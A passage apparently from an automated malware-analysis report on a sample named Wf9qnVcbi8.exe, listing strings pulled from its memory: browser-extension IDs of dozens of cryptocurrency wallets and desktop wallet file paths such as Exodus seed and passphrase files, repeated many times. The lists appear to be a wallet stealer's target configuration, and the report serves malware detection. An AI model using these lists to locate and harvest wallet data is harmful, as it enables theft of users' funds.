Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MetaMask\|djclckkglechooblngghdinmeemkbgci\|1\|0\|0\|MetaMask\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|MetaMask\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|TronLink\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|Binance Wallet\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|0\|0\|Yoroi\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase Wallet extension\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|0\|Jaxx Liberty\|cjelfplplebdjjenllpjcblmjkfcffne\|1\|0\|0\|iWallet\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|MEW CX\|nlbmnnijcnlegkjjpcfjclmcfggfefdm\|1\|0\|0\|GuildWallet\|nanjmdknhkinifnkgdcggcfnhdaammmj\|1\|0\|0\|Ronin Wallet\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CLV Wallet\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|Liquality Wallet\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra Station Wallet\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|Sollet\|fhmfendgdocmcbmfikdcogofphimnkno\|1\|0\|0\|Auro Wallet(Mina Protocol)\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|Polymesh Wallet\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98 Wallet\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain Wallet\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Brave Wallet\|odbfpeeihdkbihmopkbjmoonfanlbfcl\|1\|0\|0\|Oxygen\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|Pali Wallet\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|BOLT X\|aodkkagnadcbobfpggfnjeongemjbjca\|1\|0\|0\|XDEFI Wallet\|hmeobnfnfcmdkdcmlblgagmfpfboieaf\|1\|0\|0\|Nami\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Maiar DeFi Wallet\|dngmlblcodfobpdpecaadgfbcggfjfnm\|1\|0\|0\|Keeper Wallet\|lpilbniiabackdjcionkobglmddfbcjo\|1\|0\|0\|Solflare Wallet\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|Cyano Wallet\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Temple\|ookjlbkiijinhpmnjffcofjonbfbgaoc\|1\|0\|0\|Goby\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|Ronin Wallet\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|Byone\|nlgbhdfgdhgbiamfdfmbikcdghidoadd\|1\|0\|0\|OneKey\|jnmbobjmhlngoefaiojfljckilhhlhcj\|1\|0\|0\|DAppPlay\|lodccjjbdhfakaekdiahmedfbieldgik\|1\|0\|0\|SteemKeychain\|jhgnbkkipaallpehbohjmkbjofjdmeid\|1\|0\|0\|Braavos Wallet\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|kkpllkodjeloidieedojogacfhpaihoh\|1\|1\|1\|OKX Wallet\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender Wallet\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|Eternl\|kmhcihpebfmpgmihbkipmjlmmioameka\|1\|0\|0\|Pontem Aptos Wallet\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Petra Aptos Wallet\|ejjladinnckdgjemekebdpeokbikhfci\|1\|0\|0\|Martian Aptos Wallet\|efbglgofoippbgcjepnhiblaibcnclgk\|1\|0\|0\|Finnie\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra Wallet\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Trezor Password Manager\|imloifkgjagghnncjkhggdhalmcnfklk\|1\|0\|0\|Authenticator\|bhghoamapcdpbohphigoooaddinpkbai\|1\|0\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
